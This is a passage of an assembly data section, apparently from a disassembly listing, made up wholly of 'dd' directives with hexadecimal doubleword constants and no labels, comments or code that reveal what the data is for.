7DFAB1F7h, 7CE62DA1h, 989864B3h, 0F4F7D338h dd 0F461A1C1h, 7DE991ADh, 1F2D93C2h, 0BE4DA7C7h, 0A1026D28h dd 0A8C349E0h, 6BE7D53Ah, 3AF64569h, 0F834B3A5h, 232DFB06h dd 86DCAAC7h, 0F0582DCEh, 0C70745A2h, 0A2E7D470h, 0B4E74569h dd 492FE725h, 632D8E40h, 32CA7FF7h, 99A3E434h, 0E986C439h dd 6BE7D342h, 6DCE8641h, 51A98D3Fh, 0CEADC0C7h, 0C6DC83D7h dd 0D7B0BEDEh, 0E646556Dh, 24E7DE6Dh, 0ADED4761h, 0C0C9E7A9h dd 8CADB26Bh, 847DA081h, 0A3A1F7C5h, 0CA06D4B5h, 0E0E7DC74h dd 2D956359h, 0C470D7F1h, 0B72DD646h, 86448EE7h, 0C7E2F4E4h dd 0E0C669AAh, 2ED7A633h, 0F47AB351h, 0D434D7DFh, 6E2DCE46h dd 46C43FD7h, 0F7DFCFC8h, 9B0D7D67h, 0DC765F7h, 0B7D304F0h dd 0D8C38093h, 0A6DE507h, 4C7DE95Ch, 0C7B838A2h, 0EAC761A5h dd 0D08C782Dh, 0B6A3EBECh, 7D21F72Fh, 87ED9D6Dh, 0C57561E7h dd 617777E4h, 0E4856561h, 20D7DE77h, 708CEF41h, 49208172h dd 0E32DCD84h, 0C64005E7h, 0D7B1C7EAh, 0E0464444h, 0BF7DEEDh dd 0F4B87754h, 75A0C707h, 0EB30D484h, 0C64C95E7h, 0F7ABEDDCh dd 0F9C7D0C1h, 0EDD7F5EDh, 0EDE9C661h, 696C41D4h, 1EAD9733h dd 0C4A445F7h, 0D74537F4h, 0D6C64566h, 0C9E7E4ADh, 0EDD6C56Ch dd 41ADF797h, 61F4C1C6h, 84C342D7h, 0D784EDEDh, 0C1C50480h dd 3E3160F4h, 0EDE00648h, 61ED9161h, 0B6B6EB44h, 69696BB3h dd 0A0530790h, 0EA4671ADh, 60E77486h, 0B79B4D79h, 0C8D4416Ch dd 0E4ADE4C7h, 2EE483E7h, 51356DA0h, 0ED857086h, 0EF730B6Dh dd 7FDEC755h, 49E9C725h, 0BA2DF505h, 0AE61A7D7h, 0E795ADB7h dd 0EEC56DEBh, 0A0E77A6Dh, 0ADC1C769h, 0C80AC7EBh, 2FEDD8C7h dd 85516D1Dh, 0D775C6D5h, 0C88659E5h, 0E811D2F4h, 2DC70455h dd 0C80BD707h, 85EDECC7h, 0C75D6AF7h, 0E7D5F4C2h, 0CB84D4D1h dd 0A1C714F0h, 6DE68455h, 756B932Ch, 0C1B6C644h, 485493C7h dd 0D71F8145h, 0B46869E0h, 0AD257B6Dh, 0AD67286Dh, 4DEC113Dh dd 796DE028h, 6869E63Dh, 57B6DA8h, 45286DEDh, 2D113DEDh dd 6DE3284Dh, 69251D79h, 7B6DB768h, 485DA51Dh, 8D846DAFh dd 0CF8455A2h, 0E89160ADh, 0B68FF459h, 640A335Eh, 7A2DB6A1h dd 6A6D2A61h, 0D260F6B7h, 0B602496Bh, 0E3E7A0F4h, 0ADBA814Dh dd 0CCCF51C2h, 0FFEDF544h, 3545EFE7h, 62AB6D52h, 8A2EE439h dd 0A043AC6Dh, 2DD3C7B0h, 7DE5F7B8h, 589E5C4h, 46652AC7h dd 0D7BCADD2h, 0D90551EDh, 0E5D2336Dh, 0ADE20471h, 59A9C705h dd 5C6DE6C5h, 0C55434C7h, 0F030B6FBh, 0D4474524h, 0E6D738F9h dd 0EDE1444Dh, 65E6F7DFh, 0ADBCCE86h, 84A8A9F7h, 0F73A2DCDh dd 401CECFCh, 15C77709h, 6DA075FBh, 61E4C00Dh, 36AD8F98h dd 9BA8C030h, 0F0FEBCADh, 0F3054DA2h, 0A63352ADh, 0F9D40745h dd 6DEFA120h, 0ACB95B1Fh, 755966F7h, 0F7F8B880h, 0AFB65524h dd 4C933F35h, 0ADD3C730h, 5D6BD2CBh, 0E634E9C5h, 853461D7h dd 0BCA42DEAh, 0E146849Fh, 0ABE261ADh, 0F0C70494h, 7DA5C0C2h dd 0AEEDE4C6h, 679E1F7h, 0D7702DFDh, 0D606616Dh, 0AAD751EDh dd 31E30475h, 416AC705h, 0A4ADD3C5h, 0C66DEDE7h, 9157ADF2h dd 0ED05A428h, 0E1F7A16Dh, 0AD92777Dh, 0A469D75Ch, 47ADECC5h dd 0C74DA4C7h, 0F01CEDE4h, 0E3C74561h, 66D774EDh, 0ADD70661h dd 5920C759h, 0E1AD58CDh, 0C5D65C7h, 0F04C70B3h, 0F5C57D22h dd 65C77F73h, 0EDE04649h, 60BBC039h, 0DFEDA9EFh, 57492CD7h dd 71FDFEB2h, 0A9A06520h, 0F6E054ADh, 31B29187h, 556BE7E1h dd 0A97F8A74h, 6C65E4A0h, 0F71A2DA6h, 0F2C445A7h, 0A043E1FBh dd 2D8D6371h, 596BF732h, 0FDADA54Fh, 0C57166D7h, 0F20337F0h dd 0E84645A5h, 0FFE72EADh, 0F0EE0424h, 5120C724h, 0AE2DCC84h dd 4F592FC7h, 0F7E7ADB0h, 0FFC7CCF1h, 0AEC726EDh, 0B0DFC649h dd 75AAC79Bh, 0A2EDE2C4h, 85D0C1E7h, 0A0FBADE7h, 0CB8649ADh dd 6A907BB1h, 2DC4C661h, 5965D7E7h, 84EDDCC6h, 0C7D0BB51h dd 11DBADD7h, 0AFB55965h, 169C4034h, 0ADE706ECh, 45A2B047h dd 33ADFAC6h, 70D485F7h, 0F7C9C1ADh, 0C7C58325h, 34918C79h dd 0F0F746F4h, 55AEE7DFh, 0B83687CDh, 0B5D036E7h, 0E7A8ED9Eh dd 981561EDh, 0EFF7FDADh, 6DE04465h, 65A563CAh, 0AABAC107h dd 0C465AAC7h, 0D7F837DEh, 0FA8465A6h, 0EAF7CB71h, 0ADBC4049h dd 8D384A2Ch, 5ED7552h, 855562E7h, 0D76771F9h, 0DC84D080h dd 2A933F6Dh, 0AD80945Dh, 7D6B21E4h, 74FCC2C5h, 47416BD7h dd 0C7DD34E9h, 0D1061B38h, 2CD7C9EDh, 8D1C6BCh, 83E3F015h dd 2FC6EBC5h, 1B0FA41h, 9097F1ADh, 0DDC651A2h, 0A5A26841h dd 0EDB5A179h, 0A35882B7h, 0D3F4F285h, 0AC7874C7h, 0D79CADB6h dd 0A60A7C73h, 0E5F7CF2Dh, 0EDFA0475h, 0ACA980C5h, 0E3ADD1C5h dd 45556BE7h, 704ABBD4h, 8D417925h, 8DC76F2Dh, 86D7C533h dd 0D831F793h, 0E0B016CDh, 63F044D7h, 0F7516DA1h, 0E946F4FDh dd 41BD2CEDh, 0EDEC04C0h, 71A94337h, 0E12DDAC4h, 0E3A03CC7h dd 0BDC42D89h, 0DDC5240Eh, 43C7E56Dh, 2DF5C770h, 7DAA407Ch dd 0A0ADE5C6h, 0C57166B1h, 220B2DE1h, 0E5C575A2h, 2AD7B66Dh dd 0ADCFC765h, 49E98117h, 15EDC684h, 0C67D67D7h, 0E7F773E7h dd 0EDC555A2h, 27F7B8ADh, 2D95E361h, 49E9A32Ch, 0F5139CE0h dd 3EC09BC7h, 0F7056D25h, 0E285656Ah, 0E72061B2h, 0EDD70475h dd 79E62061h, 0F5F2B7B6h, 854DA2E7h, 0D7472DCDh, 0B3DF8490h dd 6D6CC6EDh, 6DAC5945h, 409AC7E9h, 8F2DD246h, 46496A2Eh dd 0A185EDF0h, 6528EC82h, 0D241BC7Ch, 0F4FAC5EBh, 8C4BC7DBh dd 24EDE507h, 45E8B7D7h, 0E78B2DE7h, 0C1C575E5h, 0A0D7953Ah dd 7CA1EC69h, 7527D73Ah, 2BEDCD04h, 45B4CAE7h, 0E714EDDEh dd 0D88579A2h, 0A26DF4EDh dd 0B2D9C44Dh, 0F0B7D725h, 85EDCC04h, 0D845AAA1h, 3247AD6Fh dd 0A4283493h, 0AAA16FADh, 0F5D94649h, 5DA26C80h, 2DB2D945h dd 855DA262h, 0C755EDDEh, 0D846C4F8h, 57F71D2Dh, 2DDE4685h dd 82960288h, 477CE144h, 0D90F8C02h, 8DC42D91h, 0E085F402h dd 2EC7146Dh, 0B14B6C4Dh, 4525F707h, 1879FF84h, 4569E8F7h dd 0E7E3ADE8h, 0DDC641ADh, 0BFF725ADh, 6DCDC4FCh, 75A4102Dh dd 0A52D977Eh, 0C65DEDF7h, 3122FCC2h, 0FF845526h, 7561B879h dd 2DDDC4D0h, 75AAC7E4h, 65F2F1C6h, 67965D7h, 20A36DCDh dd 6DC16965h, 65C71FEDh, 0F4FD4745h, 0C3B56138h, 2BED8A31h dd 64486D7h, 0F04D6DE6h, 8A7970F3h, 642E88ADh, 0AD48FF55h dd 65ED9335h, 15F4D245h, 86496BF7h, 0D7E78BE1h, 914DA8E2h dd 58B1742Dh, 0C78FCFBEh, 2483A1BDh, 0A004C306h, 26DAAE7h dd 0C719ED5Eh, 0B060A423h, 32D7F2EDh, 0AD90777Ch, 647DE760h dd 0FFBCDA06h, 0C069E774h, 0D70F34BFh, 0AD5E77C2h, 7FF7A7F2h dd 38635F4h, 704FC7E7h, 26EDDD47h, 0C5E03F12h, 0E79571D9h dd 0E1C5716Ah, 0E3E78437h, 7FD9C775h, 65EDD714h, 86EDFA46h dd 0C665A6E7h, 604A6DEFh, 0EEC7C8C3h, 0ABC795EDh, 6DEDC56Dh dd 71EDA192h, 0F72DDA44h, 0C4756DE7h, 0F7E4EDEBh, 0E14555A2h dd 62F7D56Dh, 2DD34545h, 0ACCD3052h, 65ADCF45h, 65963C7h dd 0F75874DBh, 990E71E7h, 87523DB1h, 72ED06E4h, 6DAFD7DFh dd 85B4E146h, 286166E7h, 0E733AD50h, 0E90451EDh, 25D7B833h dd 0EDAD0279h, 4965F7F8h, 86EDE6C7h, 0C57DA1E7h, 0E7E774DDh dd 0A1E245E7h, 33D7A5D1h, 0ADF506DCh, 9C0EF730h, 0B9B4EE06h dd 14D78AE7h, 41227CB5h, 0DF854D2Ah, 3E8138BCh, 0ADE306D8h dd 0D8B273A4h, 7274A3A2h, 0C78BE291h, 0B1BDE7E1h, 85235DAFh dd 6BBCD82Dh, 35DB0559h, 7563C71Ah, 0D7ADCD85h, 58F25F7h dd 0B3362DE2h, 0E34675A3h, 0F37222F7h, 6DE85F4h, 0E433D060h dd 3EADF546h, 21AC34BDh, 0C07D2D89h, 0E8853462h, 6C7D2F7h dd 2DB9808Dh, 5926F7DFh, 2C31A6CFh, 0A8C2CE0h, 0E7DF2D85h dd 0E0054123h, 0E8F04BF4h, 0F6B496B8h, 696FE7E6h, 0D637D4C7h dd 4744B5F7h, 212DADE5h, 5F6E45A9h, 9AC72734h, 0F6FF45E4h dd 716BF7E6h, 0D7C6E007h, 447DE5F7h, 0F7E66DCCh, 890E4DE5h dd 65E002B6h, 3FF2456Dh, 0C4CBA060h, 646DECC5h, 85C458D7h dd 112F6F9h, 88216DA2h, 4112F7ADh, 70A12E4Fh, 7445C779h dd 7ADC804h, 0C555A0C7h, 0C7552DD3h, 0AEF765EDh, 5F7766Dh dd 0F7E50680h, 416D107Bh, 1A2DE406h, 5D494C7h, 9DD16DD8h dd 0FD4661EDh, 69F7E634h, 0EDD9C751h, 0D894F706h, 0A6F5DD07h dd 0C4596D81h, 0C79D74DDh, 0DCC765EDh, 20D7452Dh, 6DA4E955h dd 6DE5E757h, 6B7391A0h, 45DED31h, 132CB4EDh, 9EE8E04Ch dd 47E795F6h, 2DA029C8h, 44D891D9h, 68EDB5E0h, 0C4452583h dd 0B07BFECAh, 0ABBB49E5h, 2990E5EDh, 2DE58588h, 0E4D19150h dd 0A7EDF5C6h, 0C7E8CBF7h, 0BCADC3h, 9F1649Ah, 0A371A72Dh dd 0F7E30645h, 69E5A064h, 0E6B1E584h, 0C7C8A0C7h, 619C2DF6h dd 0BE407D6Eh, 69E707BCh, 2DA4827Dh, 0CC39E79Bh, 86B6B9A2h dd 0C57BF8E7h, 0C7253CC6h, 0EDC74DA9h, 0E9B1A0ADh, 37C8C56Dh dd 78B3C7C1h, 6D3396EBh, 445EDE7h, 0E767EDE0h, 0A27F75A2h dd 0A1E747EDh, 0EDE00565h, 45E4E11Ah, 2433CCC7h, 84692DF7h dd 0A76EDE4h, 0AFD55DA9h, 339172EDh, 0BCD706F4h, 6DA590E2h dd 0E9F3D784h, 0C5C432E7h, 0B306B8ECh, 0FA34D66h, 20C7A4ADh dd 77BE3875h, 65E3D7DFh, 4A84E146h, 44616B6Dh, 2068B9EAh dd 886380D5h, 0A7419CADh, 7485407Dh, 3421D730h, 0A32D4C3Ch dd 67798F7h, 0F7266DEEh, 0A5B555E5h, 7EE7A970h, 0F7846EF0h dd 0A4BB5291h, 2B6DE585h, 47165C7h, 0F707EDEEh, 956D51E9h dd 0A563E9EDh, 0F9B3236Dh, 49E7ECC3h, 0FBCCF06h, 0C6C4BE71h dd 61A6B2CDh, 0F6C741E4h, 0EDD726F4h, 8CFDC67Dh, 656DC7E1h dd 0BBEDD9C5h, 4741ADA0h, 0F7EAFCE0h, 0B12E7125h, 44D735F1h dd 2DCC85A4h, 40B5F7C6h, 0E170F3C4h, 0EB69E2D7h, 0E7F57191h dd 0F70545EDh, 0EDD76471h, 0EDA73775h, 0B439D71Fh, 7E2D8E37h dd 7538E8D7h, 0C71AC71Eh, 0D6C5F84Fh, 658D46E1h, 7C2AA34Dh dd 0F449D774h, 0F537EB06h, 0F7E01BF7h, 0C06571BCh, 998255E4h dd 0A4C0E7EDh, 0EDE6C67Dh, 9022E7A6h, 0A4ED9462h, 38696BD7h dd 0D00136A9h, 0A0B76C04h, 658029EDh, 0EDFD4649h, 0E43A512Bh dd 0D2D8D4Fh, 0CD7124C7h, 505D8066h, 0C9C428F6h, 25D2D279h dd 0ADE9C76Dh, 983CB1F4h, 93C08055h, 4B4A450h, 0C76679FCh dd 0E94549E5h, 7012F536h, 0EDA7F8ECh, 0D68640C2h, 0D3ADCDC5h dd 45C34DC7h, 91F42DE1h, 0DEC5C459h, 21E7A2EDh, 0AD968261h dd 0CCB0E7FBh, 16ED59E2h, 82F84989h, 882D3C46h, 0F6848442h dd 0E8F7DFADh, 3FF20571h, 95B97D40h, 0E6BFB28Fh, 0C69C39C7h dd 6D892DD8h, 8E20E433h, 6BE7202Dh, 2DFB074Dh, 8441C4F1h dd 61BCB412h, 0F8057A1h, 58F4ED6Dh, 0C645616Bh, 0E7B05678h dd 7F2057Dh, 0A57A206Ch, 0CBDBA619h, 0C67D6B21h, 7197B3FDh dd 0C9C751A0h, 0E3E7EC6Dh, 6DA40F65h, 71E7E7DEh, 0F76D8458h dd 0E151E6F7h, 0D729ADB2h, 0D805412Ah, 9DF7C96Dh, 6DE0C700h dd 9340D7C2h, 0BA75ED04h, 0EB59ADE7h, 0F79F70B5h, 60AA716Dh dd 40D7CF6Dh, 6DB8EA0Ch, 0CB187CB8h, 70EDE006h, 85D7DBD7h dd 9FD16DF8h, 804269E5h, 839162C0h, 0ADF2C5ECh, 712AD730h dd 0DF83D007h, 0E151AAF7h, 0D02EFFA3h, 932A6DE5h, 0ADE7F52Dh dd 0FCE0C693h, 94C258F3h, 0B483FE47h, 7C752DE7h, 0C7266DB1h dd 0FD0669ADh, 2DE7B684h, 0B3E64549h, 0C4335233h, 0C1B3C187h dd 0C75166D7h, 0D73983FFh, 0F0C749A7h, 0E8D7C6ADh, 6DEFC794h dd 65E1F761h, 412DDFC7h, 0C4B0F4C0h, 0F00B6DE1h, 0F6C46525h dd 6DE7C131h, 0FAA47669h, 0B4CBC785h, 91AD5978h, 9EDC76E7h dd 0D7DBED8Eh, 0E5C7A7A7h, 4F4252B7h, 0C9D6C5E8h, 3766F7E4h dd 33EDFA04h, 345DEDA1h, 20FB6DADh, 0FE855D22h, 896010B4h dd 0ED9EBC3Fh, 0AF40C784h, 1F6DE104h, 0A34D65D7h, 0C7C0F728h dd 9CA08880h, 2D419EFAh, 33683F4Dh, 7D60C7F8h, 0B8ED9CD4h dd 471ACE7h, 7186ADE2h, 0CDB46528h, 52E7EB2Dh, 0AD8D9410h dd 652130EDh, 8DADF4C7h, 7FA34040h, 0F71A03A0h, 0B1F79157h dd 920A271h, 6DADED10h, 692FE71Fh, 1F6DF1B8h, 6061EFF7h dd 0C7DF6DB1h, 831845E5h, 47D76F74h, 0AD5110F8h, 0B2C9D726h dd 0E4B7B076h, 4688FCE7h, 0E7D1B4E5h, 79E07528h, 298DB7EDh dd 0B4885A6Dh, 696B1308h, 1BEDCEC5h, 0C7C88650h, 5CFD6DE8h dd 0D6464520h, 8401F66Dh, 6DC5C6F0h, 7BC7233h, 0C947EF46h dd 7368B5F7h, 940960CEh, 0EEF2A97Eh, 0E6D7F308h, 20FFB26Dh dd 4968945Dh, 0B500D672h, 9437DBC7h, 83B9ED5Ah, 0F3FD9D85h dd 6FA134E3h, 0F340E04Dh, 0FDF2F7A1h, 0FAEDAAA1h, 0C410468Bh dd 6EB5FCE0h, 0AF1065A2h, 10124B3h, 6DE8C70Ah, 68B2D7C0h dd 72ADF384h, 796D60h, 0F751ED96h, 0DEC6A480h, 75F7E6EDh dd 0F4C605C4h, 65A5C7F8h, 21F7EFC4h, 661E2C7h, 0D7D96DEEh dd 0DEC5E876h, 0BBE746EDh, 0EDB06ED3h, 756AAD54h, 0A2BEF184h dd 86D88BF0h, 0C72BBCD2h, 0E80471E9h, 26F705EDh, 3CEE8575h dd 792943E7h, 9B6DA400h, 0E1E4F0E7h, 0D75FF7ACh, 0E64444B2h dd 144CD2B4h, 6DED84ACh dd 79ADE780h, 0CBF19300h, 85A6B4C7h, 0E7FFFFD4h, 0F04769ABh dd 28E07FF4h, 0BFDB4769h, 512DF7B3h, 76DE504h, 0EC5DA9D7h dd 0C7822D8Ah, 9942CCB5h, 0A2C7B3EDh, 87FC456Dh, 6800C7DDh dd 56D65B9h, 5496BE7h, 60C9ADCFh, 0C544456Ah, 0A053372Dh dd 0EDFC4645h, 0E7B3F7CDh, 0D577E485h, 65800C7h, 0F7CC6DD3h dd 0FDC748BBh, 81252Dh, 0EDA6B778h, 0E431F7E2h, 0B6EDE6C6h dd 655EBA1h, 0C75D2DCDh, 0B9814D6Eh, 0A9E7FF2Dh, 0B4A2CC49h dd 78C0F7B8h, 7AB4E284h, 4444C0F7h, 5F492DE5h, 0B58C61E2h dd 0A3913457h, 0ED752F59h, 0C4B9C7EDh, 496DFD44h, 0C461665Fh dd 0E7EEC6CDh, 0E884AC36h, 0F8E7846Dh, 6DE884E7h, 7D2A5F81h dd 7274D005h, 75556073h, 0E77FED93h, 0BD2D55AAh, 95632AADh dd 6D6859C8h, 0DF3ED78Ch, 0DF04BDE2h, 759ACE7h, 0A241F4E3h dd 6BB6F875h, 0A265A5F4h, 0BFE7C551h, 72C4D76Fh, 0FFEDC404h dd 46C7C7C7h, 0D15AADCDh, 0FD47612Ah, 0F7D7702Dh, 0ADBCECECh dd 59E5C7F8h, 0FF2DF506h, 46876DE7h, 33F1ADF7h, 0B3A4FC3Ch dd 6CE7AABBh, 0F4C68771h, 796BA034h, 86EDC3C7h, 0C665A6B3h dd 0C784BED7h, 9B2871AAh, 2AC7686Dh, 6DAFA171h, 6526E764h dd 0E7ADD245h, 0F751ADE7h, 0D784ED8Bh, 0C104752Ah, 0E7C7EAEDh dd 0EDEC0471h, 7169F729h, 0C0EDAAABh, 0C749E9F7h, 0C7262DDCh dd 0EBC665AEh, 8BC78DB7h, 0ED64A844h, 49A1C774h, 862DF646h dd 0C47DA513h, 318176EEh, 0FA0671A2h, 0A9C707ADh, 2DE6845Dh dd 49E6D731h, 0A2EDDC86h, 0A4FFD2F7h, 0F7AFBE90h, 0E6066752h dd 0EA1234FFh, 0EDF70471h, 55E6E71Fh, 34769725h, 4645A0C7h dd 0C7C2ADF8h, 0A3305CC0h, 5DD7A5EDh, 2DE605CCh, 516BC7B8h dd 8AEDE1C7h, 0CC1001F7h, 0C78F6D9Ch, 0DE05CB03h, 26F01E2Dh dd 0BEF00455h, 87DA01B8h, 0B016FF84h, 6A9099C7h, 13D9ED81h dd 0D746456Dh, 26F76AF7h, 0EDBCA84Dh, 416BE7B0h, 2BF9EDC7h dd 0F559E9D7h, 0D7F8EDA2h, 0EB847DA6h, 1EE71CB7h, 6DA68CA8h dd 69A5E714h, 0EB2DD0C5h, 47124C7h, 0D71A2DF7h, 0BE2F5358h dd 2432C46Dh, 6D6CAA55h, 71A9D722h, 796DE9C5h, 0A248B903h dd 0D7B2B6BCh, 903D5C97h, 6BEC61EDh, 89F98441h, 0B764EC61h dd 7ADF046h, 84612BE7h, 0A02AB3DCh, 0F005C038h, 0A0D7E7ADh dd 0EDF3C741h, 69A911CCh, 0F881C8C5h, 775565F7h, 0E05FEDADh dd 0ECC57565h, 0ABF7AB6Dh, 0EDABAB8Ch, 61E80382h, 91F0874Bh dd 456DEEF7h, 0D7AE2DCEh, 0F0C57D2Ah, 6DC7A47Eh, 6DEDC545h dd 49A1D726h, 937683F6h, 67DE1E7h, 0C7AD6DE6h, 0A16169EDh dd 25E7F8EDh, 0ED3DD671h, 7924D7C7h, 0C4ADE5C4h, 977569F7h dd 0F769AD91h, 0D904B06Eh, 6AF7C56Dh, 0EDA0BF4Dh, 7165F058h dd 806DD704h, 0C4B8F303h, 8D7635DAh, 0B34DB0EEh, 6993382Dh dd 0ADD036BCh, 616B919Fh, 1FADED06h, 0D155EBF7h, 93386D5Eh dd 0EE0451EDh, 2FD40C74h, 0EDE60618h, 55E11197h, 0F570ABA2h dd 376DE1C7h, 0F7F8ADB9h, 43376D6Ah, 0E9C758EDh, 0EDBAE87Dh dd 0D0F0A0E9h, 0F76DA8B6h, 0C765E5F7h, 2143EDDCh, 0E4C749A5h dd 6892462Dh, 0ED9CAB51h, 40DFB104h, 9174E2C7h, 37416BC7h dd 9CA5FE9Fh, 0E08455A5h, 61C764F0h, 2DD60471h, 0B46BD017h dd 0B3ADED04h, 36BC4AACh, 0E21BED58h, 0E00545A2h, 0DCD7136Dh dd 76C38543h, 6DAAC791h, 6411FDC7h, 0F92429F7h, 0DE17EDA3h dd 0C3C5596Bh, 0AAC79776h, 11FDC761h, 307EE725h, 9FADA5F6h dd 0E1FC10D7h, 0F7E5909Bh, 8C9734BDh, 54F7AD2Dh, 0FA9577D3h dd 5832D725h, 33ADBA31h, 0F7D835C7h, 153F7177h, 0C60663D2h dd 2E4B6FEDh, 0BEF04665h, 71A9C170h, 302DC1C5h, 2D144FF7h dd 0D7A6D04h, 0D0C78056h, 90F7C6EDh, 0EDE20474h, 0F08C82E6h dd 52F4D804h, 6D4C6F7h, 0E7B8FAFAh, 82AB516Ah, 0D06178F4h dd 0ADD0C748h, 0C43DD7DAh, 89FCDE06h, 84D80140h, 5D7E6DC2h dd 0B3AB70B3h, 0C1D7ACD1h, 0EDE9C793h, 9381D76Ah, 0B1EDAFDCh dd 0C484816Ch, 0E70DADFCh, 0AA8871E2h, 90F7F8F9h, 0FE82A258h dd 0A03A8166h, 0AD2DCD47h, 8471E052h, 0E7AA6DAEh, 8E0D5961h dd 66D758B8h, 0EDE7448Ch, 75A2F7B2h, 0D92DB2F6h, 0B6D0DB81h dd 7CCDB182h, 0FB468B23h, 7B1831EDh, 76FE04C4h, 69A9F707h dd 1F43C547h, 9F59A5F7h, 0F7B8FF63h, 0AD4A6D22h, 627A8BEDh dd 0EDDC447Dh, 75A900AAh, 25EDEB04h, 3E79A9F7h, 0F7B8EDBDh dd 173E5D6Ah, 0A260CF2Dh, 0ADB68969h, 49E0D731h, 312DE345h dd 645E8F7h, 0C7F1ADE5h, 0ACB96DA0h, 0A7E7F46Dh, 7BDC0575h dd 656B5178h, 1F19036h, 3541AFC7h, 0E7E1F205h, 0F74569A2h dd 95E7B0F2h, 0ED81ABF8h, 0AC4E32E2h, 40EDABCCh, 357DE423h dd 73716DBDh, 0D384556Dh, 90C707F2h, 0F7D9843Ch, 7806D7F6h dd 0F12D8E61h, 0C67166D7h, 9162ADD1h, 0B9F16DE9h, 6E7F43Ah dd 82C484E4h, 65EA6CCAh, 67AD91B4h, 545E1E7h, 0E71BF2E7h dd 0F006BF9Dh, 6BE04AF2h, 0ED8E3571h, 0F65126Eh, 27F1BF9Ah dd 4644A0F7h, 0F7816DD1h, 0B19853B3h, 0A91CBDADh, 0ADB86979h dd 0F480E733h, 0F72D8921h, 749E0D7h, 0D2A56DE5h, 0C006FCB1h dd 50B2106Dh, 7C977ED0h, 7D28F79Fh, 2E6D86C2h, 61A0A39Dh dd 632E7465h, 6EFA756Dh, 0BC70533h, 0ADC5C7A8h, 0A01D9107h dd 0A472AAF5h, 0C74965C7h, 8D2EEDE8h, 0E445F4CFh, 99E7956Dh dd 2DE4058Bh, 7128C779h, 0EC77B884h, 0C959A4E7h, 3216DB9h dd 0D9C769A3h, 0A1C7ECADh, 2D8C4D71h, 0C474ADC6h, 0EFB7E7C4h dd 614928B1h, 0E786ED5Dh, 8A2ADC07h, 6E2CE8EDh, 7CEEC565h dd 556AE72Bh, 0DBB3E504h, 7AEC13D7h, 0C776AD58h, 0E144752Eh dd 0E3A1BDFCh, 703AFA49h, 82DBF705h, 5FEDE3C7h, 3A6DA40Ah dd 0B1A6ADE5h, 0E5C5F0FDh, 0B5D766F4h, 2DEEC568h, 69AB83E1h dd 0E42DE3C7h, 4D6F0F7h, 0C71F6DDAh, 6C80ACFBh, 22018036h dd 0FCCB444Dh, 7C8530F3h, 47ADB1ABh, 0C56521F7h, 0F7952DD3h dd 0DEC4D456h, 0A2F7E774h, 0FCFEC549h, 7706D7F2h, 7EDD904h dd 0FC5169D7h, 0D7227783h, 9CE6E436h, 6DD7A42Dh, 0C4A6B05Dh dd 61A6E786h, 0F954C8C7h, 0C4716D81h, 0C7C7EDE5h, 0A3215DA1h dd 63E7E6ADh, 0EDEA4765h, 6923DC25h, 7C4EC885h, 6592781h dd 0D00FADE3h, 0E6C574F1h, 66D7B4ADh, 0ADD98659h, 0E0BFD740h dd 13F41AE1h, 0C768BBE7h, 503FEDDBh, 0A3736123h, 0EDB1192Dh dd 0AD8FB371h, 6560E758h, 0BBC1BDF2h, 0C4C4F8C7h, 0D7D32DD2h dd 0E2C66564h, 74D798F4h, 0BB40E948h, 59A2A17Dh, 54ADF205h dd 575A2A5h, 1DFDEDC0h, 0ECC5ECFEh, 34D76A6Dh, 0ADEBC7A4h dd 80F7F7E4h, 2574D6C5h, 4C88B3F7h, 0B598EDADh, 0F746CC3Ah dd 656BA5EDh, 2D8EED8Ch, 0F303A040h, 356D652Ch, 649EDD7h dd 0E726EDE6h, 0EE046D2Dh, 0F0D0F03Fh, 0ADA1A1D7h, 0C8C5C0Fh dd 0F7378C3Bh, 22B8CED7h, 0E7CCEDA5h, 0E646C4F7h, 0F3C78BEDh dd 0ADE0C6F8h, 65E3E7DCh, 85F4E085h, 0CE4922F7h, 0E76DAD56h dd 81728B75h, 39A1892Dh, 0B6F8C548h, 69A5D71Fh, 15ADA52Fh dd 44716DD7h, 0E7052DCDh, 0AF2094F2h, 6BD7E437h, 2DCD8671h dd 5489C724h, 95ED752Fh, 7452E5Dh, 1250FE2h, 72A96709h dd 8B551227h, 0FD26ED9h, 4C55C715h, 0ED725A32h, 0BCB4C5E7h dd 0C707EDADh, 0D3C54520h, 0C2D7152Dh, 0ADC185C8h, 4964E78Dh dd 8E6DAC41h, 0C7087BD0h, 303FADEDh, 97107168h, 66D7E6ADh dd 0EDE18445h, 404BF739h dd 0BE2DD546h, 49C8FD2h, 4336EDE9h, 8C4ECC11h, 92D7522Dh dd 6DACB778h, 0C8F8C043h, 9BF7EEC7h, 68FCBEF7h, 71682DAFh dd 0A60879A1h, 35F7FB6Dh, 2D9AF2D4h, 79E10132h, 10B688E1h dd 4665A2C7h, 0D7E0C8D5h, 0E9C47D6Dh, 2550F4F1h, 0EDC7C76Dh dd 7D661338h, 63F7D3C6h, 476092D7h, 52AD2DD5h, 0E406496Dh dd 0E5E71C6Dh, 0B4C70665h, 0DCF640C9h, 0ABEDF704h, 77126E7h dd 23562DDDh, 0CE06DC77h, 66D774FCh, 0ADD90665h, 5563C75Eh dd 0DDB3E685h, 0F875E0E7h, 0F7F5EDB0h, 85614779h, 0C82338ADh dd 0FCCE06C4h, 7125D7A5h, 38ADF6C7h, 0C471AA03h, 0C7D62DD1h dd 817780CCh, 0EDF77C2Dh, 0ADBF7059h, 7926D0A6h, 0B56DAE08h dd 0C56926E7h, 0E7852DE4h, 0D5846566h, 0ADB12C34h, 0BED2455Dh dd 4562E0E2h, 0E6EDEE85h, 45CBD9E2h, 0A16D2DFCh, 0C2C57D62h dd 61E708F4h, 6DE88575h, 45E5F7F6h, 44EDEA85h, 557525F7h dd 0C7D3B648h, 0EEC559E2h, 65E7B16Dh, 2DF5C569h, 6968C72Bh dd 58EDE304h, 4579E1F7h, 0D7B86DE5h, 0E4444DA2h, 66E7FFEDh dd 47CE8445h, 0C25AD7C1h, 0A683B463h, 0C7F319F7h, 0C79131C9h dd 0DA856922h, 0AAE786F4h, 0ED9CCA5Dh, 0CC9CD7EBh, 0DF6DE6C4h dd 3741A5E7h, 0C7D8AD9Ah, 0CF4510EAh, 60D726ADh, 2DEE0549h dd 0C031C73Ah, 6F76EE86h, 856D2261h, 0C780F4DAh, 0D5C7CBDBh dd 66D775EDh, 6DEC8669h, 5D6DD7EBh, 5EADDB06h, 85E49CE7h dd 0F724ADD8h, 0E0C741E1h, 0C4F77F49h, 0F4C534ACh, 612CF79Fh dd 3ABA95D7h, 67DADF7h, 0F746EDEAh, 78F761ECh, 23DCFBEDh dd 81D986A9h, 18EDF77Bh, 0D6F7228Ah, 4652D3Fh, 0E758B4C6h dd 0EC856522h, 21C725E0h, 71C70441h, 6522F758h, 5774D685h dd 47A8F8C0h, 0A074D8F6h, 